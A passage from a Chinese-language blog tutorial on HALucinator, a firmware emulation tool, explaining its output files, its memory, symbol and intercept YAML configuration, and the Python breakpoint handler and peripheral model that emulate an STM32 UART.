alt="uTools_1669024771076"></p><p>当您输入10个字符并按下回车键时,<strong>UART外部设备将其发送到HALucinator</strong>。当<strong>调用HAL RX函数时</strong>,它<strong>进入BP处理程序</strong>,接收这些字节并将其<strong>复制到固件的接收缓冲区</strong>,然后返回。然后,<strong>固件将字符回送,再次触发UART TX处理程序</strong>。然后,<strong>固件通过UART发送示例完成消息,我们在UART外部设备中看到该消息</strong>。在两个终端中按<code>ctrl-c</code>退出。</p><h3 id="检查输出"><a href="#检查输出" class="headerlink" title="检查输出"></a>检查输出</h3><p>现在,让我们来看看运行HALucinator所创建的一些输出。HALucinator在tmp/HALucinator中保存了一堆信息,可以在执行后进行检查。</p><p><em>(Note:<code>-n<RUN_NAME></code>选项可更改保存这些文件的位置。)</em></p><p>这些文件包括:</p><ul><li>HALucinator_conf.json —提供给QEMU的配置文件,用于构建仿真机器</li><li>HALucinator_err.txt —QEMU的Stderr </li><li>HALucinator.log —Avatar的日志详细信息</li><li>HALucinator_out.txt —QEMU的Stdout </li><li>qemu_asm.log —QEMU从—log_blocks选项输出的跟踪信息</li><li>stats.yaml —来自halucinator的统计信息,关于什么截取被使用了多久,何时,等等。</li></ul><p>如果HALucinator无法运行,则检查err.txt和out.txt通常会有所帮助。但是,最重要的通常是qemu_asm.log。这是一个文本文件,列出了基本块执行时的反汇编。它可以在文本编辑器中打开,但通常非常大。要查看执行跟踪的最后100行,请使用tail。</p><h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><p>现在,让我们检查配置文件,看看我们告诉HALucinator要做什么。我们将为此使用Visual Studio Code。</p><p>运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">code ~/halucinator/test/STM32/example</span><br></pre></td></tr></table></figure><p><em>(这里我是用docker装的没这个)</em></p><h4 id="内存配置"><a href="#内存配置" class="headerlink" title="内存配置"></a>内存配置</h4><p>首先打开<code>Uart_Hyperterminal_IT_O0_memory.yaml</code>。这会指定仿真器中使用的内存</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">memories:</span></span><br><span class="line"> <span class="string">`alias`:</span> {<span class="attr">base_addr:</span> <span class="number">0x0</span>, <span class="attr">file:</span> <span class="string">Uart_Hyperterminal_IT_O0.elf.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x800000</span>}</span><br><span class="line"> <span class="attr">flash:</span> {<span class="attr">base_addr:</span> <span class="number">0x8000000</span>, <span class="attr">file:</span> <span class="string">Uart_Hyperterminal_IT_O0.elf.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x200000</span>}</span><br><span class="line"> <span class="attr">ram:</span> {<span class="attr">base_addr:</span> <span class="number">0x20000000</span>, <span class="attr">size:</span> <span class="number">0x51000</span>}</span><br><span class="line"><span class="attr">peripherals:</span></span><br><span class="line"> <span class="attr">logger:</span> {<span class="attr">base_addr:</span> <span class="number">0x40000000</span>, <span class="attr">emulate:</span> <span class="string">GenericPeripheral</span>, <span class="attr">permissions:</span> <span class="string">rw-</span>, <span class="attr">size:</span> <span class="number">0x20000000</span>}</span><br></pre></td></tr></table></figure><p>我们有<code>alias</code>、<code>flash</code>和<code>ram</code>内存以及一个称为<code>logger</code>的外设。每一个都指定一个<strong>基址、大小和权限</strong>。<code>alias</code>和<code>flash</code>指定包含固件的文件。在执行开始之前,文件的内容被复制到内存中。文件的路径与配置文件的路径是相对的(使用相对路径)(例如,<code>Uart_Hyperterminal_IT_O0_memory.yaml</code>)</p><p>在这种情况下,文件被指定了两次,因为真实的硬件将0x800000处的内存<code>alias</code>设为地址0。由于存储器不是由固件里的信息确认写入哪里的,我们可以通过将固件同时放在两个位置来模拟这一点。</p><p>您还会注意到,在外围设备下面有一个记录器。它使用Avatar 2的外设类来实现一个处理从0x 40000000开始的范围内的内存访问的外设。emulate参数指定处理此范围的类,它位于<code>~/halucinator/src/halucinator/peripheral_models/generic</code>中。GenericPeripheral仅对所有读取返回零,并忽略所有写入。这可以防止模拟器在某些东西试图访问外设时崩溃,并允许记录对MMIO的未处理访问。</p><h4 id="地址文件"><a href="#地址文件" class="headerlink" title="地址文件"></a>地址文件</h4><p>接下来,打开地址文件<code>Uart_Hyperterminal_IT_O0_addrs.yaml</code>。此文件的示例如下所示。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">architecture:</span> <span class="string">ARMEL</span> <span class="comment"># Ignored</span></span><br><span class="line"><span class="attr">base_address:</span> <span class="number">0</span> <span class="comment"># Ignored on cortex-m</span></span><br><span class="line"><span class="attr">entry_point:</span> <span class="number">0</span> <span class="comment"># Ignored on cortex-m</span></span><br><span class="line"><span class="attr">symbols:</span></span><br><span class="line"> <span class="attr">134218164:</span> <span class="string">deregister_tm_clones</span></span><br><span class="line"> <span class="attr">134218196:</span> <span class="string">register_tm_clones</span></span><br><span class="line"> <span class="attr">134218232:</span> <span class="string">__do_global_dtors_aux</span></span><br><span class="line"> <span class="attr">134218272:</span> <span class="string">frame_dummy</span></span><br></pre></td></tr></table></figure><p>前三个选项在HALucinator中的cortex-m3上被忽略,它们源自固件,并且由于历史原因而存在。<code>symbols</code>条目包含一个将地址映射到函数名的字典。它们用于解析放置断点的地址。<strong>可以使用HALucinator工具<code>hal_make_addr</code>从elf文件中获取此文件</strong>。这个工具被用来创建这个例子中的文件,使用方法就是执行下面这行命令:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hal_make_addr -b Uart_Hyperterminal_IT_O0.elf -o addrs.yaml</span><br></pre></td></tr></table></figure><p>也可以通过传入csv文件并使用<code>-s</code>选项将其传递给HALucinator来提供符号。格式如下所示。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">symbol, start_addr, stop_addr</span><br></pre></td></tr></table></figure><h4 id="拦截配置"><a href="#拦截配置" class="headerlink" title="拦截配置"></a>拦截配置</h4><p>现在打开拦截配置文件Uart_Hyperterminal_IT_O0_config.yaml。它包含在执行过程中放置在固件中的拦截列表,并定义每个拦截的处理程序。样本如下所示。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">intercepts:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_Init</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_Init</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_Transmit_IT</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_Transmit_IT</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.SkipFunc</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_Delay</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_Delay</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.ReturnZero</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_Init</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_Init</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.Counter</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_IncTick</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_IncTick</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.IPythonShell</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HardFault_Handler</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HardFault_Handler</span></span><br></pre></td></tr></table></figure><p>每个handler指定 :</p><ul><li><code>class</code>:<strong>python类的导入路径</strong>,该python类是<code>halucinator.bp_handlers.BPHandler</code>的子类:</li><li><code>function</code>:标识<strong>python类中的</strong>用于此次截取的<strong>方法(method)</strong></li><li><code>symbol</code>:此<strong>拦截所针对的固件中的函数名称</strong>。它用于<strong>在地址配置文件提供的符号中查找应设置断点的地址</strong>。</li></ul><p>HALucinator只实例化每个调用一次,即使多个拦截都指定了同一个类。在HALucinator README主文件中描述中,每个拦截中还有一些可选字段可以指定。</p><p>我将其放在下面:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">intercepts:</span> <span class="comment"># Optional, list of intercepts to places</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">class:</span> <span class="string"><BPHandler</span> <span class="string">subclass>,</span> <span class="comment"># Required use full import path</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string"><str></span> <span class="comment"># Required: Function name in @bp_handler([]) used to</span></span><br><span class="line"> <span class="comment"># determine class method used to handle this intercept</span></span><br><span class="line"> <span class="attr">addr:</span> <span class="string">(from</span> <span class="string">symbols)<int></span> <span class="comment"># Optional, Address of where to place this intercept,</span></span><br><span class="line"> <span class="comment"># generally recommend not setting this value, but</span></span><br><span class="line"> <span class="comment"># instead setting symbol and adding entry to</span></span><br><span class="line"> <span class="comment"># symbols for this makes config files more portable</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">(Value</span> <span class="string">of</span> <span class="string">function)<str></span> <span class="comment"># Optional, Symbol name use to determine address</span></span><br><span class="line"> <span class="attr">class_args:</span> <span class="string">({})<dict></span> <span class="comment"># Optional dictionary of args to pass to class's</span></span><br><span class="line"> <span class="comment"># __init__ method, keys are parameter names</span></span><br><span class="line"> <span class="attr">registration_args:</span> <span class="string">({})<dict></span> <span class="comment"># Optional: Arguments passed to register_handler</span></span><br><span class="line"> <span class="comment"># method when adding this method</span></span><br><span class="line"> <span class="attr">run_once:</span> <span class="string">(false)<bool></span> <span class="comment"># Optional: Set to true if only want intercept to run once</span></span><br><span class="line"> <span class="attr">watchpoint:</span> <span class="string">(false)<bool></span> <span class="comment"># Optional: Set to true if this is a memory watch point</span></span><br></pre></td></tr></table></figure><p>HALucinator为常用操作提供了许多通用handler,包括:</p><ul><li><code>halucinator.bp_handlers.SkipFunc</code>只从函数返回,而不执行它,也没有返回值。如果您只是想跳过返回void的函数,则该函数很有用。</li><li><code>halucinator.bp_handlers.ReturnZero</code>从函数中返回零,而不执行该函数。</li><li><code>halucinator.bp_handlers.Counter</code>返回值在每次调用递增。不执行函数。</li><li><code>halucinator.bp_handlers.IPythonShell</code>放入IPython shell,在该点启用交互式控制。经常用于调试。</li></ul><p><strong>在HALucinator的repository中的<code>src/halucinator/bp_handler</code>中可以找到更多的内容</strong>。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669033548991.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669033548991.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="src/halucinator/bp_handler中的内容"></p><p>我们将在下一个教程中详细介绍UART处理程序。</p><h2 id="深入探讨UART"><a href="#深入探讨UART" class="headerlink" title="深入探讨UART"></a>深入探讨UART</h2><p>在本教程中,我们将学习<strong>HALucinator如何通过UART发送和接收数据</strong>。首先,我们将讨论用于拦截UART HAL执行的bp处理程序。然后,我们将讨论这些bp处理程序使用的外设模型,以及用于与外围模型通信的外部设备。</p><h3 id="深入探讨BPHandler"><a href="#深入探讨BPHandler" class="headerlink" title="深入探讨BPHandler"></a>深入探讨BPHandler</h3><p>回想一下,固件使用四个函数与UART交互。</p><p>它们是:</p><ul><li>HAL_UART_Init</li><li>HAL_UART_Transmit_IT</li><li>HAL_UART_Receive_IT</li><li>HAL_UART_GetState</li></ul><p>我们的拦截配置文件:<code>~/halucinator/src/test/STM32/example/Uart_Hyperterminal_IT_O0_config.yaml</code>为这些函数中的每一个指定了拦截。如下所示。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_Init</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_Init</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_GetState</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_GetState</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_Transmit_IT</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_Transmit_IT</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">class:</span> <span class="string">halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</span></span><br><span class="line"> <span class="attr">function:</span> <span class="string">HAL_UART_Receive_IT</span></span><br><span class="line"> <span class="attr">symbol:</span> <span class="string">HAL_UART_Receive_IT</span></span><br></pre></td></tr></table></figure><p>每个 UART 截取使用<code>halucinator.bp_handlers.stm32f4.stm32f4_uart.STM32F4UART</code>类,这个类被部署在<code>~/halucinator/src/halucinator/bp_handlers/stm32f4/stm32f4_uart.py</code>让我们打开它查看一下。</p><p>从头开始 。首先它import了外设模型 <code>UartPublisher</code> 、 <code>BPHandler</code> 类 、 <code>bp _ handler</code> 装饰器 , 并设置日志 (logging) 记录。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> ...peripheral_models.uart <span class="keyword">import</span> UARTPublisher</span><br><span class="line"><span class="keyword">from</span> ..bp_handler <span class="keyword">import</span> BPHandler, bp_handler</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line">log = logging.getLogger(__name__)</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> ... <span class="keyword">import</span> hal_log</span><br><span class="line">hal_log = hal_log.getHalLogger()</span><br></pre></td></tr></table></figure><p>虽然我们应该以这种方式设置halucinator日志记录,并使用它来代替打印来进行调试,但这使得使用配置文件在每个文件的基础上打开和关闭它变得很容易。通常使用两种日志:log,它捕获与该文件相关的内容;以及hal_log,它记录在halucinator中感兴趣的内容。如有疑问,请使用<code>log</code>。</p><p>然后,它创建一个子类(<code>BPHandler</code>的子类),并将<code>self.model</code>设置为<code>UARTPublisher</code>外设模型。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">STM32F4UART</span>(<span class="params">BPHandler</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, impl=UARTPublisher</span>):</span></span><br><span class="line"> self.model = impl</span><br></pre></td></tr></table></figure><p>之后它部署了<code>HAL_UART_Init</code>的handler:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@bp_handler(<span class="params">[<span class="string">'HAL_UART_Init'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hal_ok</span>(<span class="params">self, qemu, bp_addr</span>):</span></span><br><span class="line"> log.info(<span class="string">"Init Called"</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span>, <span class="number">0</span></span><br></pre></td></tr></table></figure><p><strong>装饰器@bp_handler将此方法标识为bp处理程序方法</strong>。装饰器要么不接受参数(在这种情况下,每个类只能实现一个bp_handler),要么接受一个函数名列表。函数名称是拦截配置中<code>function</code>键的有效值。注意:由于历史原因,可以指定多个名称,但实际上一个名称就足够了。</p><p>所有<code>@bp_handlers</code>方法都将以下内容作为参数(self、qemu、bp_addr):</p><ul><li><code>self</code>:这个类的实例</li><li><code>qemu</code>:是Avatar 2的qemu目标(target)的子类[<a href="https://avatartwo.github.io/avatar2-docs/avatar2.targets.html#module-avatar2.targets.target]。我们的子类位于`src/halucinator/qemu_targets`中,抽象二进制约定的细节后面(and">https://avatartwo.github.io/avatar2-docs/avatar2.targets.html#module-avatar2.targets.target]。我们的子类位于`src/halucinator/qemu_targets`中,抽象二进制约定的细节后面(and</a> abstract binary convention details away)。这允许阅读和写入仿真器寄存器、内存,并控制仿真器</li><li><code>bp_addr</code>:断点的地址</li></ul><p>handler返回两个值:布尔值(<code>Intercept</code>)和数字(<code>Ret_Val</code>)。</p><ol><li>如果<code>Intercept</code>为<code>True</code>,则会拦截函数,而且不会在仿真器中执行函数。函数的返回值将返回<code>Ret_Val</code>。这使它看起来像是执行了函数并返回<code>Ret_Val</code>。如果被拦截的函数不返回值,则将<code>Ret_Val</code>设置为<code>None</code>。</li><li>如果<code>Intercept</code>为<code>False</code>,则继续执行,执行函数,并忽略<code>Ret_Val</code>。这种情况下的最佳做法是将<code>Ret_Val</code>设置为<code>None</code>。如果您想要监视函式的执行,但仍允许它执行,则不拦截执行会很有用。</li></ol><p>回顾<code>HAL_UART_Init</code>这个bp handler,您现在应该看到它<strong>记录对函数的调用,阻止函数执行并返回0</strong>。零表示<code>HAL_OK</code>,因此固件继续执行,就像UART已正确初始化一样。</p><p>类似地,<code>HAL_UART_GetState</code>bp处理程序仅返回<code>0x20</code>,该值指示其已就绪。</p><p><strong>现在让我们看看数据是如何传输的</strong>。<code>handle_tx</code>方法设计用于从STM的HAL中拦截任一种<code>HAL_UART_Transmit*</code> 变体。这些函数具有以下原型。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HAL_StatusTypeDef <span class="title">HAL_UART_Transmit</span><span class="params">(UART_HandleTypeDef *huart, <span class="keyword">uint8_t</span> *pData, <span class="keyword">uint16_t</span> Size)</span></span>;</span><br></pre></td></tr></table></figure><ul><li><code>huart</code>是一个指向结构体的指针,这个结构体捕捉UART具体细节。最重要的是结构体中的第一个entry是一个,指向标明了“哪一个UART被使用了”的硬件地址。</li><li><code>pData</code>指针指向传输数据的缓冲区(buffer)地址</li><li><code>size</code>buffer中要传输的数据大小</li></ul><p>下面是用于替换在halucinator中执行此函数的处理程序。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@bp_handler(<span class="params">[<span class="string">'HAL_UART_Transmit'</span>, <span class="string">'HAL_UART_Transmit_IT'</span>, <span class="string">'HAL_UART_Transmit_DMA'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">handle_tx</span>(<span class="params">self, qemu, bp_addr</span>):</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Reads the frame out of the emulated device, returns it and an </span></span><br><span class="line"><span class="string"> id for the interface(id used if there are multiple ethernet devices)</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> huart = qemu.get_arg(<span class="number">0</span>)</span><br><span class="line"> hw_addr = qemu.read_memory(huart, <span class="number">4</span>, <span class="number">1</span>)</span><br><span class="line"> buf_addr = qemu.get_arg(<span class="number">1</span>)</span><br><span class="line"> buf_len = qemu.ret_arg(<span class="number">2</span>)</span><br><span class="line"> data = qemu.read_memory(buf_addr, <span class="number">1</span>, buf_len, raw=<span class="literal">True</span>)</span><br><span class="line"> hal_log.info(<span class="string">"UART TX:%s"</span> % data)</span><br><span class="line"> self.model.write(hw_addr, data)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span>, <span class="number">0</span></span><br></pre></td></tr></table></figure><p>您可以看到它从arg0获取<code>huart</code>指针,并通过阅读该位置的内存来解引用(解引用:C语言中的指针前的 * 就是“解引用运算符”)它,以获取硬件地址。然后从arg 1获取<code>buf_addr</code>,从arg 2获取<code>buf_len</code>,并从内存中读取缓冲区。它记录数据,并将其写入模型,使用硬件(我认为这里指的是我们规定的硬件号)作为消息的id。</p><p>接收数据的工作方式与此类似。固件调用<code>HAL_UART_Receive_IT</code>,其C原型与其发送计数器部分相同。它被下面的<code>handle_rx</code>方法截获和处理。handler获取硬件地址和大小,然后调用模型获取数据,阻塞直到数据到达为止。然后将数据写入固件内存中的缓冲区。然后,handler返回<code>True,0</code>,导致跳过<code>HAL_UART_Receive_IT</code>的执行,并显示为已执行并返回0(<code>HAL_OK</code>)。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@bp_handler(<span class="params">[<span class="string">'HAL_UART_Receive'</span>, <span class="string">'HAL_UART_Receive_IT'</span>, <span class="string">'HAL_UART_Receive_DMA'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">handle_rx</span>(<span class="params">self, qemu, bp_handler</span>):</span></span><br><span class="line"> huart = qemu.get_arg(<span class="number">0</span>)</span><br><span class="line"> hw_addr = qemu.read_memory(huart, <span class="number">4</span>, <span class="number">1</span>)</span><br><span class="line"> size = qemu.get_arg(<span class="number">2</span>)</span><br><span class="line"> log.info(<span class="string">"Waiting for data: %i"</span> % size)</span><br><span class="line"> <span class="comment"># 调用外设模型(self.model)处理核心功能,获取返回的data</span></span><br><span class="line"> data = self.model.read(hw_addr, size, block=<span class="literal">True</span>)</span><br><span class="line"> hal_log.info(<span class="string">"UART RX: %s"</span> % data)</span><br><span class="line"></span><br><span class="line"> qemu.write_memory(qemu.get_arg(<span class="number">1</span>), <span class="number">1</span>, data, size, raw=<span class="literal">True</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span>, <span class="number">0</span></span><br></pre></td></tr></table></figure><h3 id="深入探讨UART外设模型"><a href="#深入探讨UART外设模型" class="headerlink" title="深入探讨UART外设模型"></a>深入探讨UART外设模型</h3><p>现在,让我们看一下<strong>外设模型。回想一下,该模型的目的是实现外设的核心组件</strong>。对于UART,这是发送和接收字符。有<strong>许多不同的HAL用于在UART上发送/接收数据</strong>,参数的顺序和参数的类型将有所不同。这些<strong>低级别细节在BP handler中实现,但发送/接收字节的核心功能在外设模型中实现</strong>。通过对设备进行抽象,我们减少了实现每个HAL的工作量。</p><p>UART外设模型参见<code>~/halucinator/src/halucinator/peripheral_models/uart.py</code></p><p>在创建该类之前,您会注意到它像<code>UART BP handler</code>一样设置日志记录。</p><p>现在看一下类的创建。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Register the pub/sub calls and methods that need mapped</span></span><br><span class="line"><span class="meta">@peripheral_server.peripheral_model</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UARTPublisher</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line"> rx_buffers = defaultdict(deque)</span><br></pre></td></tr></table></figure><p>该类以<code>@peripheral_server.peripheral_model</code>修饰。这告诉外设服务器该类将从外设服务器发送/接收数据。你还会注意到所有的方法都是<code>@classmethod</code>的,这是因为这些类从未被实例化。因此,需要在类级别保存诸如接收缓冲器(<code>rx_buffers</code>)之类的任何状态。</p><p>该类中有四个方法write、read、read_line、rx_data。我们将首先讨论write和rx_data,然后讨论read方法。</p><p>write方法如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@classmethod</span></span><br><span class="line"><span class="meta">@peripheral_server.tx_msg</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write</span>(<span class="params">cls, uart_id, chars</span>):</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Publishes the data to sub/pub server</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> log.info(<span class="string">"Writing: %s"</span> % chars)</span><br><span class="line"> msg = {<span class="string">'id'</span>: uart_id, <span class="string">'chars'</span>: chars}</span><br><span class="line"> <span class="keyword">return</span> msg</span><br></pre></td></tr></table></figure><p>注意<code>write</code>方法被<code>@classmethod</code>和<code>@peripheral_server.tx_msg</code>修饰,这个<code>peripheral_server.tx_msg</code>修饰器,使得这个方法的返回值是序列化的,并由外设服务器用主题<code>Peripheral.<ClassName>.<method_name></code>将其发布</p><p>write将标识符(identifier)和数据(<code>chars</code>)作为参数,并将它们放入字典中,然后返回字典(<code>msg</code>)。因此,字典由外设服务器在主题<code>Peripheral.UARTPublisher.write</code>下发布。正如您稍后将看到的,我们的外部设备<code>hal_dev_uart</code>订阅此主题并打印出它接收到的内容。</p><p>现在我们来看看<code>rx_data</code>方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@classmethod</span></span><br><span class="line"><span class="meta">@peripheral_server.reg_rx_handler</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">rx_data</span>(<span class="params">cls, msg</span>):</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Handles reception of these messages from the PeripheralServer</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> log.debug(<span class="string">"rx_data got message: %s"</span> % <span class="built_in">str</span>(msg))</span><br><span class="line"> uart_id = msg[<span class="string">'id'</span>]</span><br><span class="line"> data = msg[<span class="string">'chars'</span>]</span><br><span class="line"> cls.rx_buffers[uart_id].extend(data)</span><br></pre></td></tr></table></figure><p>此方法使用<code>@peripheral_server.reg_rx_handler</code>装饰器进行装饰。这个装饰器用于方法时,它将此方法注册为作用于“向所有对应主题(topics)为<code>Peripheral.<ClassName>.<method_name></code>的外设服务器发送”的主题的handler。</p><p>因此,此方法将接收发送到主题<code>Peripheral.UARTPublisher.rx_data</code>的所有流量。在这种情况下,接收到的msg是一个字典,其中包含键<code>id</code>和字符<code>chars</code>,与通过<code>write</code>发送的键<code>id</code>和字符<code>chars</code>匹配。它将字符保存到deque字典(堆栈)中,<strong>所用的deque由id选择</strong>。通过将其保存到deque中,我们使接收数据与固件执行其UART接收函数(这个函数获取数据)异步。</p><p>回想一下,模型的<code>read</code>函数是由作用在<code>HAL_UART_Receive_IT</code>的bp handler调用的。让我们看看它的功能。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 